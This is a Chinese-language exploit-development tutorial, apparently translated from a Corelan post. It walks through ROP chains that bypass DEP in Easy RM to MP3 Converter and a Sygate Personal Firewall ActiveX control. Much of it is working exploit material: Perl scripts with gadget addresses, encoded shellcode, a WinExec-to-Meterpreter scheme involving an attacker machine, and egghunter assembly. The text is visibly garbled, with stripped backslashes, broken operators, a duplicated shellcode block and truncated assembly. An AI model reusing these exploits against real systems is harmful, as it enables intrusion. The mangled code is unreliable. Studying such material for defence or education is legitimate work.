#|./msfencode-ex86/alpha_mixed-tperl
my$shellcode=
"x89xe0xdaxcfxd9x70xf4x5ax4ax4ax4ax4ax4ax4a".
"x4ax4ax4ax4ax4ax43x43x43x43x43x43x37x52x59".
"x6ax41x58x50x30x41x30x41x6bx41x41x51x32x41".
"x42x32x42x42x30x42x42x41x42x58x50x38x41x42".
"x75x4ax49x48x59x48x6bx4fx6bx48x59x43x44x51".
"x34x4cx34x50x31x48x52x4fx42x42x5ax46x51x49".
"x59x45x34x4ex6bx51x61x44x70x4ex6bx43x46x46".
"x6cx4cx4bx42x56x45x4cx4cx4bx42x66x43x38x4c".
"x4bx51x6ex45x70x4ex6bx50x36x44x78x42x6fx45".
"x48x44x35x4cx33x50x59x43x31x4ax71x4bx4fx48".
"x61x43x50x4cx4bx50x6cx51x34x46x44x4ex6bx47".
"x35x45x6cx4cx4bx42x74x43x35x42x58x46x61x48".
"x6ax4ex6bx51x5ax45x48x4ex6bx42x7ax47x50x47".
"x71x48x6bx4ax43x45x67x42x69x4ex6bx47x44x4e".
"x6bx46x61x48x6ex46x51x49x6fx45x61x49x50x49".
"x6cx4ex4cx4dx54x49x50x50x74x45x5ax4bx71x48".
"x4fx44x4dx47x71x4bx77x48x69x48x71x49x6fx49".
"x6fx4bx4fx45x6bx43x4cx47x54x44x68x51x65x49".
"x4ex4ex6bx50x5ax45x74x46x61x48x6bx50x66x4e".
"x6bx46x6cx50x4bx4cx4bx51x4ax45x4cx45x51x4a".
"x4bx4ex6bx43x34x4cx4bx43x31x4ax48x4dx59x42".
"x64x51x34x47x6cx45x31x4fx33x4fx42x47x78x44".
"x69x49x44x4fx79x4ax45x4ex69x4ax62x43x58x4e".
"x6ex42x6ex44x4ex48x6cx43x62x4ax48x4dx4cx4b".
"x4fx4bx4fx49x6fx4dx59x42x65x43x34x4fx4bx51".
"x6ex48x58x48x62x43x43x4ex67x47x6cx45x74x43".
"x62x49x78x4ex6bx4bx4fx4bx4fx49x6fx4fx79x50".
"x45x45x58x42x48x50x6cx42x4cx51x30x4bx4fx51".
"x78x50x33x44x72x44x6ex51x74x50x68x42x55x50".
"x73x42x45x42x52x4fx78x43x6cx47x54x44x4ax4c".
"x49x4dx36x50x56x4bx4fx43x65x47x74x4cx49x48".
"x42x42x70x4fx4bx49x38x4cx62x50x4dx4dx6cx4e".
"x67x45x4cx44x64x51x42x49x78x51x4ex49x6fx4b".
"x4fx49x6fx42x48x42x6cx43x71x42x6ex50x58x50".
"x68x47x33x42x6fx50x52x43x75x45x61x4bx6bx4e".
"x68x51x4cx47x54x47x77x4dx59x4bx53x50x68x51".
"x48x47x50x51x30x51x30x42x48x50x30x51x74x50".
"x33x50x72x45x38x42x4cx45x31x50x6ex51x73x43".
"x58x50x63x50x6fx43x42x50x65x42x48x47x50x43".
"x52x43x49x51x30x51x78x43x44x42x45x51x63x50".
"x74x45x38x44x32x50x6fx42x50x51x30x46x51x48".
"x49x4cx48x42x6cx47x54x44x58x4dx59x4bx51x46".
"x51x48x52x51x42x46x33x50x51x43x62x49x6fx4e".
"x30x44x71x49x50x50x50x4bx4fx50x55x45x58x45".
"x5ax41x41";
my$rest="C"x300;
my$payload=$junk.$eip.$junk2.$rop.$params.$rop2.$nops.$shellcode.$rest;
print"Payloadsize:".length($payload)."n";
print"Shellcodesize:".length($shellcode)."n";
open($FILE,">$file");
print$FILE$payload;
close($FILE);
print"m3uFile$fileCreatedsuccessfullyn";
阶段4和阶段5:第三个参数和第四个参数(大小和保护标志)
为了创建第三个参数,我决定设置大小为0x300字节。我们需要做这个的小配件是XOR
EAX,EAX和ADDEAX,100
将结果值作为参数写入的技术和其他参数一样
●保存EAX的值到ESI
●改变EAX(XOREAX,EAX:0x100307A9,然后ADDEAX,100+RET,连续三次:0x1002DC4C)
●将ESI增加4字节
●将EAX写入ESI+0x10处
第四个参数(0x40)用同样的原理:
●保存EAX的值到ESI
●设置EAX为0然后加上40(XOREAX,EAX+RET:0x100307A9/ADDEAX,40+RET:0x1002DC41)
●将ESI增加4字节
●将EAX写入ESI+0x10处
最后阶段:跳到VirtualProtect
所有的参数现在写入栈中:
我们所需要的是找到一种方法来使ESP指向VirtualProtect()保存的指针的位置(直接跟着那
个函数的参数),然后一某种方式返回。
当前寄存器的状态是:
我做这个的选择是什么?我怎样使ESP指向0010F740然后返回(到VirtualProtect()的指
针))?
回答:EAX已经指向这个地址。因此如果我们能将eax放入esp然后返回,这会很好。
搜索寻找一个pusheax/popesp的结合:
这会成功,但是在小配件中有2个POP指令。因此我们不得不首先调节EAX(来弥补POP)。
我们基本上在调节栈前需要首先从eax上减去8。
为了做到这个,我们可以用
我们的最后链是这样的:
●0x775D12F1
●0x775D12F1
●0x73DF5CA8
将所有的东西放在一起,exploit脚本是这样的:
#------------------------------------------------------------
#ROPbasedexploitforEasyRMtoMP3Converter
#writtenbycorelanc0d3r-:8800
#------------------------------------------------------------
my$file="rop.m3u";
my$buffersize=26094;
my$junk="Z"x$buffersize;
my$eip=pack('V',0x100102DC);#returntostack
my$junk2="AAAA";#compensate
#------PutstackpointerinEDI&EAX------------------------#
my$rop=pack('V',0x5AD79277);#PUSHESP,POPEDI
$rop=$('V',0x77C1E842);#PUSHEDI,POPEAX
$rop=$rop."AAAA";#compensateforPOPEBP
#stackpointerisnowinEAX&EDI,nowjumpoverparameters
$rop=$('V',0x1001653D);#ADDESP,20
#-------ParametersforVirtualProtect()----------------------#
my$params=pack('V',0x7C801AD4);#VirtualProtect()
$params=$params."WWWW";#returnaddress(param1)
$params=$params."XXXX";#lpAddress(param2)
$params=$params."YYYY";#Size(param3)
$params=$params."ZZZZ";#flNewProtect(param4)
$params=$('V',0x10035005);#writeableaddress
$params=$params.("H"x8);#padding
#ADDESP,20+RETwilllandhere
#changeESIsoitpointstocorrectlocation
#towritefirstparameter(returnaddress)
my$rop2=pack('V',0x763C982F);#XCHGESI,EDI#DECECX#RETN4
#-----Makeeaxpointatshellcode--------------------------
$rop2=$('V',0x1002DC4C);#ADDEAX,100#POPEBP
$rop2=$rop2."AAAA";#padding-compensateforRETN4before
$rop2=$rop2."AAAA";#padding
#----------------------------------------------------------
#returnaddressisinEAX-writeparameter1
$rop2=$('V',0x77E84115);
$rop2=$rop2."AAAA";#padding
#EAXnowcontainsstackpointer
#saveitbacktoESIfirst
$rop2=$('V',0x775D131E);#PUSHEAX#POPESI#RETN
#-----Makeeaxpointatshellcode(again)--------------------------
$rop2=$('V',0x1002DC4C);#ADDEAX,100#POPEBP
$rop2=$rop2."AAAA";#padding
#increaseESIwith4
$rop2=$('V',0x77157D1D);#INCESI#RETN[Module:]
$rop2=$('V',0x77157D1D);#INCESI#RETN[Module:]
$rop2=$('V',0x77157D1D);#INCESI#RETN[Module:]
$rop2=$('V',0x77157D1D);#INCESI#RETN[Module:]
#andwritelpAddress(param2)
$rop2=$('V',0x77E84115);
$rop2=$rop2."AAAA";#padding
#saveEAXinESIagain
$rop2=$('V',0x775D131E);
#createsize-setEAXto300orso
$rop2=$('V',0x100307A9);
$rop2=$('V',0x1002DC4C);
$rop2=$rop2."AAAA";#padding
$rop2=$('V',0x1002DC4C);
$rop2=$rop2."AAAA";#padding
$rop2=$('V',0x1002DC4C);
$rop2=$rop2."AAAA";#padding
#writesize,firstsetESItorightplace
$rop2=$('V',0x77157D1D);
$rop2=$('V',0x77157D1D);
$rop2=$('V',0x77157D1D);
$rop2=$('V',0x77157D1D);
#write(param3)
$rop2=$('V',0x77E84115);
$rop2=$rop2."AAAA";#padding
#saveEAXinESIagain
$rop2=$('V',0x775D131E);
#flNewProtect0x40
$rop2=$('V',0x10010C77);
#PUSHEAX#POPESI#RETN
#XOREAX,EAX#RETN
#ADDEAX,100#POPEBP
#ADDEAX,100#POPEBP
#ADDEAX,100#POPEBP
#INCESI#RETN
#INCESI#RETN
#INCESI#RETN
#INCESI#RETN
[Module:]
[Module:]
[Module:]
[Module:]
#PUSHEAX#POPESI#RETN
#XOREAX,EAX
$rop2=$('V',0x1002DC41);
$rop2=$rop2."AAAA";#padding
$rop2=$('V',0x77157D1D);
$rop2=$('V',0x77157D1D);
$rop2=$('V',0x77157D1D);
$rop2=$('V',0x77157D1D);
#ADDEAX,40#POPEBP
#INCESI#RETN
#INCESI#RETN
#INCESI#RETN
#INCESI#RETN
[Module:]
[Module:]
[Module:]
[Module:]
#write(param4)
$rop2=$('V',0x77E84115);
$rop2=$rop2."AAAA";#padding
#ReturntoVirtualProtect()
#EAXpointsatVirtualProtectpointer(justbeforeparameters)
#compensateforthe2POPinstructions
$rop2=$('V',0x775D12F1);#SUBEAX,4#RET
$rop2=$('V',0x775D12F1);#SUBEAX,4#RET
#changeESP&flyback
$rop2=$('V',0x73DF5CA8);#[Module:]
#PUSHEAX#POPESP#MOVEAX,EDI#POPEDI#POPESI#RETN
#
my$nops="x90"x240;
#
#./msfpayloadwindows/messagebox
#TITLE=CORELANTEXT="roptestbycorelanc0d3r"R
#|./msfencode-ex86/alpha_mixed-tperl
my$shellcode=
"x89xe0xdaxcfxd9x70xf4x5ax4ax4ax4ax4ax4ax4a".
"x4ax4ax4ax4ax4ax43x43x43x43x43x43x37x52x59".
"x6ax41x58x50x30x41x30x41x6bx41x41x51x32x41".
"x42x32x42x42x30x42x42x41x42x58x50x38x41x42".
"x75x4ax49x48x59x48x6bx4fx6bx48x59x43x44x51".
"x34x4cx34x50x31x48x52x4fx42x42x5ax46x51x49".
"x59x45x34x4ex6bx51x61x44x70x4ex6bx43x46x46".
"x6cx4cx4bx42x56x45x4cx4cx4bx42x66x43x38x4c".
"x4bx51x6ex45x70x4ex6bx50x36x44x78x42x6fx45".
"x48x44x35x4cx33x50x59x43x31x4ax71x4bx4fx48".
"x61x43x50x4cx4bx50x6cx51x34x46x44x4ex6bx47".
"x35x45x6cx4cx4bx42x74x43x35x42x58x46x61x48".
"x6ax4ex6bx51x5ax45x48x4ex6bx42x7ax47x50x47".
"x71x48x6bx4ax43x45x67x42x69x4ex6bx47x44x4e".
"x6bx46x61x48x6ex46x51x49x6fx45x61x49x50x49".
"x6cx4ex4cx4dx54x49x50x50x74x45x5ax4bx71x48".
"x4fx44x4dx47x71x4bx77x48x69x48x71x49x6fx49".
"x6fx4bx4fx45x6bx43x4cx47x54x44x68x51x65x49".
"x4ex4ex6bx50x5ax45x74x46x61x48x6bx50x66x4e".
"x6bx46x6cx50x4bx4cx4bx51x4ax45x4cx45x51x4a".
"x4bx4ex6bx43x34x4cx4bx43x31x4ax48x4dx59x42".
"x64x51x34x47x6cx45x31x4fx33x4fx42x47x78x44".
"x69x49x44x4fx79x4ax45x4ex69x4ax62x43x58x4e".
"x6ex42x6ex44x4ex48x6cx43x62x4ax48x4dx4cx4b".
"x4fx4bx4fx49x6fx4dx59x42x65x43x34x4fx4bx51".
"x6ex48x58x48x62x43x43x4ex67x47x6cx45x74x43".
"x62x49x78x4ex6bx4bx4fx4bx4fx49x6fx4fx79x50".
"x45x45x58x42x48x50x6cx42x4cx51x30x4bx4fx51".
"x78x50x33x44x72x44x6ex51x74x50x68x42x55x50".
"x73x42x45x42x52x4fx78x43x6cx47x54x44x4ax4c".
"x49x4dx36x50x56x4bx4fx43x65x47x74x4cx49x48".
"x42x42x70x4fx4bx49x38x4cx62x50x4dx4dx6cx4e".
"x67x45x4cx44x64x51x42x49x78x51x4ex49x6fx4b".
"x4fx49x6fx42x48x42x6cx43x71x42x6ex50x58x50".
"x68x47x33x42x6fx50x52x43x75x45x61x4bx6bx4e".
"x68x51x4cx47x54x47x77x4dx59x4bx53x50x68x51".
"x48x47x50x51x30x51x30x42x48x50x30x51x74x50".
"x33x50x72x45x38x42x4cx45x31x50x6ex51x73x43".
"x58x50x63x50x6fx43x42x50x65x42x48x47x50x43".
"x52x43x49x51x30x51x78x43x44x42x45x51x63x50".
"x74x45x38x44x32x50x6fx42x50x51x30x46x51x48".
"x49x4cx48x42x6cx47x54x44x58x4dx59x4bx51x46".
"x51x48x52x51x42x46x33x50x51x43x62x49x6fx4e".
"x30x44x71x49x50x50x50x4bx4fx50x55x45x58x45".
"x5ax41x41";
my$rest="C"x300;
my$payload=$junk.$eip.$junk2.$rop.$params.$rop2.$nops.$shellcode.$rest;
print"Payloadsize:".length($payload)."n";
print"Shellcodesize:".length($shellcode)."n";
open($FILE,">$file");
print$FILE$payload;
close($FILE);
print"m3uFile$fileCreatedsuccessfullyn";
结果:
DirectRET--ROP版本2--NtSetInformationProcess()
让我们用相同的程序来测试下一种不同的ROP绕过技术:NtSetInformationProcess()
这个函数有5个参数:
返回地址
NtCurrentProcess()
ProcessExecuteFlags()
&ExecuteFlags
要产生的值,指向函数需要返回的地方(=你的shellcode在的位置)
静态值,设成0xFFFFFFFF
静态值,设成0x22
指向0x00000002,可能是你的exploit硬编码的静态地址,但是必须
是可写的
sizeOf(ExecuteFlags)静态值,设成0x4
exploitrop的布局将会和VirtualProtect()看起来一样:
●保存栈位置
●跳过占位符
●产生返回地址的值
○eax清零:XOREAX,EAX+RET:0x100307A9
○ADDEAX,40+RET:0x1002DC41+指向ADDEAX,-2的链直到它包含0x22(0x10027D2E)
○或者,用ADDAL,10(0x100308FD)两次然后INCEAX两次(0x1001152C)
●如果需要的话,为第三个参数产生值(指向0x2,可写地址)。提示:试着在Immunity
Debugger中运行“!pvefindaddrfind02000000rw”然后看你是否能找到一个静态/可写
的地址
●为第四个参数(0x4)产生值然后用“ESI+0x10”来将它写入栈上
○inceax4次:0x1001152C
好练习。
只要证明它能成功:
DirectRET--ROP版本3--SetProcessDEPPolicy()
另一种绕过DEP的方法是用SetProcessDEPPolicy(),关掉进程的DEP。
这个函数需要在栈上有两个参数:一个指向shellcode的指针(动态产生的),和0。
由于我们只有有限数量的参数,我会试着用一种不同的技术来将参数入栈...PUSHAD
一个pushad指令会将寄存器入栈。当寄存器入栈后,这是栈顶的情况:
●EDI
●ESI
●EBP
●指向这个块后面栈的值
●EBX
●EDX
●ECX
●EAX
这意味着,如果我们将nop/shellcode放在这个块的后面,那么我们可以利用我们将有一个
在栈上自动魔法般地指向我们的shellcode的值的事实。
接下来,pushad将返回到栈顶(可以用EDI操作的值)。因此给我们提供了使它成功的完美
路径。
为了将正确的参数放在正确的位置上,我们不得不用下面的值来精巧布置寄存器:
●EDI=指向RET的指针(滑到下一个指令:ropnop)
●ESI=指向RET的指针(滑到下一个指令:ropnop)
●EBP=指向SetProcessDEPPolicy()的指针
●EBX=指向0
●EDX,ECX和EAX都不要紧
在pushad之后,栈是这样的:
●RET(从EDI取出)
●RET(从ESI取出)
●SetProcessDEPPolicy()(从EBP中取出)
●指向shellcode的指针(通过pushad自动插入)
●0(从EBX取出)
●EDX(废物)
●ECX(废物)
●EAX(废物)
●nop
●shellcode
做这个的rop链是这样的:
(只要附加上nop+shellcode到这个rop链然后你就完工了)
结果:
DirectRET--ROP版本4--ret-to-libc:WinExec()
到目前为止,我已经解释了一些用特定Windows函数绕过DEP的方法。每一个例子中,技
术后面的真正挑战是找到一个可靠的精巧布置栈的ROP小配件然后调用函数。
我觉得注意一个典型的ret-to-libc-style方法(如用WinExec())是很重要的,这方法也可能
是一种有价值的技术。
然而将栈放在一起来成功调用WinExec()也需要一些ROP,它跟其他绕过DEP的技术不同,
因为我们不是执行自定义shellcode。因此我们不需要改变执行标志或者禁用DEP。我们只
要调用一个windows函数然后用一个指向一系列OS命令作为参数的指针。
/en-us/library/ms687393(VS.85).aspx
第一个参数是指向执行命令的指针,第二个参数指示window行为。一些例子:
●0=隐藏窗口
●1=正常显示
●10=默认显示
●11=强制最小化
为了使它能成功,你将需要加一个返回值到参数上(精确地说第一个参数)。这可能是任意
一个地址,但是需要在那里有点东西。因此,这是栈情况:
●返回地址
●指向命令的指针
●0x00000000(隐藏)
在XPSP3,WinExec在0x7C86250D
看下这个例子:
首先,0x00000000放入EBX(POP0xFFFFFFFF到ebx,然后INCEBX被调用),然后寄存器
通过一个pushad调用被设置(基本上我把返回地址放入EBP,WinExec()的指针放入ESI,
RET放入EDI)。
上面的命令只在XP机器上的防火墙服务停了才会成功。如果你的PC不是运行windows防火
墙,你不得不去掉“netstopSharedAccess”块。
$evilIP是你的攻击者机器,运行一个包含的ftp服务器,用下面的
Metasploit命令来创建:
(将所有的放在一行然后复制文件到FTP服务器的根目录下)
在攻击者机器上,设置一个Metasploitmutihandler监听者:
结果:
(正如你看到的,甚至一个简单的指向WinExec的指针会允许你绕过DEP(所有情况都成
功!)然后给你一个meterpretershell。
基于SEH--ROP版本--WriteProcessMemory()
为了示范基于SEH的exploit能转换为一个ROP版本,我将用一个最近发现的漏洞
:8800//forum/security-advisories/10-050-sygate-personal-firewall-
5-6-build-2808-activex/,Lincoln发现的,目标是在SygatePersonalFirewall5.6中的ActiveX
控件缓冲区溢出。我们能看到在公告中,中的SetRegString()函数受缓冲区溢出的
影响,会覆盖掉异常处理函数。
你可以在这里得到exploit的拷贝:/exploits/13834/
这个函数有5个参数。第三个参数是会产生缓冲区溢出的:
在IE6和IE7中,SEH记录在3348字节后被覆盖。(因此3348字节是对nseh,3352字节是
对seh)
在一个典型的(non-ROP)的exploit中,我们可能用一个短的向前跳转(xebx06x90x90)
来覆盖nseh然后用一个指向pop/pop/ret的指针来覆盖seh。正如早些时解释的,这个方法在
DEP启用时不会成功,因为我们在禁用/绕过DEP前不能执行代码。
无论如何,有一种简单的方法来克服这个问题。当异常处理函数(我们已经覆盖的)运行时
,我们只需要转回到栈中。
因此基本上,我们不需要关心nseh(4字节),因此我们将创建一个会在3352字节后覆盖
SEH处理函数小脚本。
我们感兴趣的是当SEH处理函数调用时,我们的缓冲区有多远。因此我们需要用一个无效
指针来覆盖SEH处理函数。在这种类型,只要看我们的缓冲区在哪里,任意一个指令都行,
因为我们只要看当我们跳转到那个指令时,我们的缓冲区有多远。
触发漏洞
我将放一个指向RET的指针到SEH处理函数中(我们将从取出一个:
0x0644110C),然后加上25000字节(来触发访问违例)。我们的exploit测试脚本目前看起
来是这样的:
保存html文件到C:驱动器并且在InternetExplorer中打开。附加ImmunityDebugger到
中。允许ActiveX组件运行(你可能不得不点击OK两次)然后让Immunity捕
捉异常。
当你观察SEH链时,你应该确保我们已经用指向RET的指针覆盖SEH处理函数:
如果你得到的SEH链视图跟上面的截屏(2个SEH记录)一样,按ShiftF9一次。那么当
你只看到一个SEH记录时,你因该看到同样的寄存器/栈视图。
在栈视图中滚下来直到你看到你的覆盖过的SEH处理函数:
在0x0644110C处设断然后忽略程序的异常(按ShiftF9)。寄存器现在包含这个:
并且栈顶是这样的:
滚下来直到你看到你的缓冲区的第一部分(A):
绕栈旋转
因此,我们发现我们的缓冲区在ESP后面(01A6E34C+1032字节)。这意味着,如果我们想
从SEH处理函数返回到我们的缓冲区中,我们不得不用至少1032字节(0x408或者更多)
来旋转回栈中。我的好朋友Lincoln产生他的rop文件并在中的0x06471613处找
到一个指向ADDESP,46C+RET的指针。
这意味着,如果我们用一个指向ADDESP,46C+RET的指针覆盖掉我们的SEH创建处理
函数,那么会使它回到我们控制的缓冲区并开始我们的rop链。
修改脚本并且用下面的替换“seh=...”这行
在InternetExplorer中打开文件(ImmunityDebugger附加进去),然后让ActiveX组件运行。
当崩溃发生时,观察SEH链并且核查它是否被正确的指针覆盖掉。
在0x06471613处设置断点。忽略程序的异常(如果需要的话两次),直到碰到断点。
在这时,ESP指向01A5E330
然后按F7单步执行指令。当“ADDESP,46C”指令被执行时,检查ESP(和栈顶的内容):
可怕,这意味着我们要绕栈旋转然后返回到一个我们能初始化rop链的位置。
从这里往前,这个exploit可以像其它的基于rop的exploit一样打造:
●设置你的策略(这个例子中是WriteProcessMemory(),但是你明显也可以用另一个技术)
●得到你的rop小配件(!Pvefindaddrrop)
●打造链
但是首先,你将需要明白我们要在一连串的A的哪里登录,我们才能在正确的地方开始rop
链。
你将注意到,当你试着定位偏移量时(IE6,IE7),偏移量可能会变。它可能在72字节到
100字节之间变动(最多100字节)
这意味着我们不能100%确认我们将在缓冲区中登录。
我们怎么解决?我们知道nop的思想,当跳到shellcode时允许弹簧垫有点远。但是有没有
一个似兼容rop的nop的东西?
ROPNOP
当然有。记得“directRETexploit版本3”?我们已经用滑梯来走到栈上的下一个地址。
为了能是exploit通用(在单独的一个exploit中没有创建许多的rop链),你可以简单地
用ROPNOP来spray一些区域(代表指向RET的指针)。每次RET被调用时,在没有做一个
坏事的情况下,它会滑到/跳到下一个ret。
因此它很像一个nop。
一个指针是由4字节组成的,因此对齐这些指针很重要。确保当EIP返回到栈上
时,它会登录在指针上(而不是登录在指针的中间,破坏了链),或者会直接登录在你的rop
链的第一个小配件。
找ropnop不难。任意一个指向RET的指针都行。
返回到我们的exploit中。
打造ROP链--WriteProcessMemory()
为一个给定的函数精巧布置栈有很多种方法。我将简单地解释Lincoln是怎样打造他的rop
链并且将bug变成一个成功的DEP绕过exploit。
重要注意:我们要处理坏字节:在80和9f之间的字节要避免。
在他的exploit中,Lincoln决定用PUSHAD来将参数在正确的地方入栈,然后调用函数(这
个例子中是WriteProcessMemory())。
首先,为了确保rop链被执行,虽然我们登录在ADDESP,46C指令后的位置不一样,他用
很多RET指针(0x06471619)作为nop:
然后他将0x064BC001放入ebp(在0x0644B633处用一个popebp+ret小配件),然后用一连
串pop指令(在0x0647B965)来将5个“参数”放入寄存器中:
在这5个POP执行后,寄存器是这样的:
接下来,他将产生shellcode的长度。他用3个ADDEAX,80指令然后再在EBX上加上
EAX的值。
结果:
因此shellcode的长度现在放入ebx中。
我们用来完成这个的rop小配件是POPEAX(从栈中取出0xCCD0731F),然后做SUBEAX,
EAX。最后,这个值放入EBP。
注意:Lincoln没有将7C9022CF放入EBP的原因是那个特殊的地址包含一个“坏
字节”。我们不能用字节0x80。ECX已经包含50505050,因此他用一个sub指令(eax中有
个重新计算的值)来重新产生那个指针。聪明的想法!
这个rop子链已经将7C9022CF放入EBP中。这个地址将是写入我们的shellcode的目标位
置。基本上,我们将补丁WriteProcessMemory()函数自身,如果你认真地读了关于
WriteProcessMemory()这节的话,因这个地址看起来很熟悉。
最后的小配件没有用一个RET来结尾。它做一个callESI操作。
ESI怎么来的?记得我们早些时候做的5个POP?好的,我们简单地放一个从ESI弹出的值
到栈上。然后那个值是下面指令的指针:
因此CALLESI将会跳到那个位置,ESP增加4字节,将一个值(06454ED5)放入EAX中
然后返回。我们简单地返回到栈上,我们的下一个rop小配件在的位置:
用这个小配件,ESI被设成FFFFFFFF。这会是后面用作hProcess参数的值。
接下来,CCD07263被弹入eax,之后,一个SUBEAX,ECX指令被执行。
执行这些指令之后,EAX中的结果会是7C802213(是rocessMemory的指针)
最后,一个PUSHAD指令被执行:
这会使栈顶看起来是这样的:
当pushad函数返回时,它会执行在0x0647BD7C处的指令(源于EDI,放入早些用5个POP
操作的寄存器中)
这个指令将只是做一个CALLEAX。在EAX中,我们依然有一个指向
rocessMemory()的指针。当CALLEAX被调用时,下面的参数会从栈中取出:
第一个参数无关紧要。代码会补丁WPM(),因此它不会返回。然后,可以找到hProcess参
数(FFFFFFFF)和Address(目的地,写入shellcode的地方),紧接着Buffer(shellcode的
位置。这个指针从ESP中取出。由于PUSHAD会移动ESP(并且由于我们已经将我们的
shellcode直接放在rop链之后),这个指针现在指向shellcode。
BytesToWrite值是早些时候产生的。最后,最后一个参数指向一个可写的位置。
首先,dump出0x78022CF处的内容:
按F7单步执行。在eVirtualMemory调用之后(在7C8022C9),在RETN14指
令执行之前,我们可以看到我们的shellcode被复制到7C8022CF:
当RETN14指令执行时,我们登录在7C8022CF,就是WriteProcessMemory()指令流的下一
条指令。
由于这个位置现在包含shellcode,shellcode会被执行。
结果:
结论:在这个ROPexploit中,一个不同的将参数入栈的技术被用到。参数首先被产生(用
ADD和SUB指令)然后弹出到寄存器中,最终,一个PUSHAD指令将指令放入正确的位
置,然后API就被调用。
Egghunters
在教程8中,我已经讨论了egghunters的内部机理。总结了egghunter的思想,你将会执
行小数量的代码,它会寻找真正的shellcode(在栈上或堆里)然后执行。
你应该已经知道了怎样使一个egghunter运行,用rop。一个egghunter只是一些小的
shellcode,因此你应该应用一个rop序列来使egghunter运行。
当egghunter已经找到shellcode,它会跳到shellcode的基地址。当然,当DEP启用时,
这很可能不会成功。
这意味着我们需要插入另一个rop链来确保我们能使shellcode标记为可执行。
有两种方法:
●附加一个rop例程到egghunter自身
●用一个rop例程预先考虑最后的shellcode
让我们看下这两种方案是怎样用一个常用的egghunter实现的(用
NtAccessCheckAndAuditAlarm):
同时,我假设你已经知道了怎样用rop来使egghunter运行。
正如你能看到的,在egghunter的末尾(当shellcode被找到时),shellcode的地址会存
入edi。egghunter的最后一条指令会跳到edi然后尝试执行shellcode。当DEP启用时,
跳转会被执行,但是shellcode的执行会失败。
我们怎么修理这个?
方案1:给egghunter打补丁
在第一个方案,我会修改egghunter来确保shellcode在的位置被首先标记为可执行。
“jmpedi”指令需要去掉。
接下来,我们要将shellcode在的内存位置改为可执行。我们可以调用VirtualProtect()
来实现。幸运地,我们这次不要用ROP,我们只要把代码写到asm中然后将它附加到egg
hunter中。它会执行得很好(因为当前的位置是可执行)
需要写入的额外代码要精巧布置下面的值在栈上:
●返回地址:在edi中的地址--指向shellcode。这会确保shellcode在VirtualProtect()
函数调用完自动执行。
●lpAddress:和“返回地址”一样的地址
●size:shellcode的大小
●flNewProtect:设成0x40
●lpflOldProtect:指向可写位置
最后它需要调用VirtualProtect()函数(确保第一个参数在栈顶),就这样:
asm样本代码:
或者,用机器码:
因此,基本上,整个egghunter是这样的:
这是小的,但不是一个真正通用的egghunter。
因此我们要使它更可移植性(和更大)。如果大小不重要的话,那么这是一种使它成功的通
用方法:
(只要在asm代码中编辑“shellcode_size”和“writeable_address”来匹配你的特殊
exploit,然后你可以用它了)
;----------------------------------------
;quickanddirtyasm
;tolocateVirtualProtect
;useittomakeshellcodeatedi
;executable,andjumptoit
;
;PeterVanEeckhoutte'corelanc0d3r
;:8800
;----------------------------------------
;modifythesevalues
;tomatchyourenvironment
shellcode_sizeequ0x100
writeable_addressequ0x10035005
hash_virtualprotectequ0x7946C61B
;
;
[BITS32]
global_start
_start:
FLDPI
FSTENV[ESP-0xC]
popeax
pushedi;saveshellcodelocation
pusheax;currentlocation
xoredx,edx
movdl,0x7D;offsettostart_main
;skylinedtechnique
XORECX,ECX;ECX=0
MOVESI,[FS:ECX+0x30];ESI=&(PEB)([FS:0x30])
MOVESI,[ESI+0x0C];ESI=PEB->Ldr
MOVESI,[ESI+0x1C];ESI=PEB->Order
next_module:
MOVEAX,[ESI+0x08];EBP=InInitOrder[X].base_address
MOVEDI,[ESI+0x20];EBP=InInitOrder[X].module_name(unicode)
MOVESI,[ESI];ESI=InInitOrder[X].flink(nextmodule)
CMP[EDI+12*2],CL;modulename[12]==0?
JNEnext_module;No:trynextmodule.
;jmpstart_main
popecx
addecx,edx
jmpecx
;replacethiswithrelativejumpforward
;jmpstart_main
;=======Function:Findfunctionbaseaddress============
find_function:
pushad;saveallregisters
movebp,[esp+0x24];putbaseaddressofmodulethatisbeing
;loadedinebp
moveax,[ebp+0x3c];skipoverMSDOSheader
movedx,[ebp+eax+0x78];gotoexporttableandputrelativeaddress
;inedx
addedx,ebp;addbaseaddresstoit.
;edx=absoluteaddressofexporttable
movecx,[edx+0x18];setupcounterECX
;(howmanyexporteditemsareinarray?)
movebx,[edx+0x20];putnamestablerelativeoffsetinebx
addebx,ebp;addbaseaddresstoit.
;ebx=absoluteaddressofnamestable
find_function_loop:
jecxzfind_function_finished
dececx
movesi,[ebx+ecx*
addesi,ebp
;ifecx=0,thenlastsymbolhasbeenchecked.
;(shouldneverhappen)
;unlessfunctioncouldnotbefound
;ecx=ecx-1
4];getrelativeoffsetofthenameassociated
;withthecurrentsymbol
;andstoreoffsetinesi
;addbaseaddress.
;esi=absoluteaddressofcurrentsymbol
compute_hash:
xoredi,edi
xoreax,eax
cld
;zerooutedi
;zeroouteax
;cleardirectionflag.
;willmakesurethatitincrementsinsteadof
;decrementswhenusinglods*
compute_hash_again:
lodsb
testal,al
;loadbytesatesi(currentsymbolname)
;intoal,+incrementesi
;bitwisetest:
;seeifendofstringhasbeenreached
jzcompute_hash_finished
roredi,0xd
addedi,eax
jmpcompute_hash_again
compute_hash_finished:
find_function_compare:
cmpedi,[esp+0x28]
;ifzeroflagisset=endofstringreached
;ifzeroflagisnotset,rotatecurrent
;valueofhash13bitstotheright
;addcurrentcharacterofsymbolname
;tohashaccumulator
;continueloop
;seeifcomputedhashmatchesrequestedhash
;(atesp+0x28)
;edi=currentcomputedhash
;esi=currentfunctionname(string)
jnzfind_function_loop;nomatch,gotonextsymbol
movebx,[edx+0x24];ifmatch:extractordinalstable
;relativeoffsetandputinebx
addebx,ebp;addbaseaddress.
;ebx=absoluteaddressofordinalsaddresstable
movcx,[ebx+2*ecx];getcurrentsymbolordinalnumber(2bytes)
movebx,[edx+0x1c];getaddresstablerelativeandputinebx
addebx,ebp;addbaseaddress.
;ebx=absoluteaddressofaddresstable
moveax,[ebx+4*ecx];getrelativefunctionoffsetfromitsordinal
;andputineax
addeax,ebp;addbaseaddress.
;eax=absoluteaddressoffunctionaddress
mov[esp+0x1c],eax;overwritestackcopyofeaxsopopad
;willreturnfunctionaddressineax
find_function_finished:
popad;retrieveoriginalregisters.
;eaxwillcontainfunctionaddress
Ret
;-----------MAIN-------------
start_main:
movdl,0x04
subesp,edx;allocatespaceonstack
movebp,esp;setebpasframeptrforrelativeoffset
movedx,eax;savebaseaddressofkernel32inedx
;findVirtualProtect
pushhash_virtualprotect
pushedx
callfind_function
;VirtualProtectisineaxnow
;getshellcodelocationback
popedi
popedi
popedi
popedi
pushwriteable_address;param5:writableaddress
;generate0x40(para4)
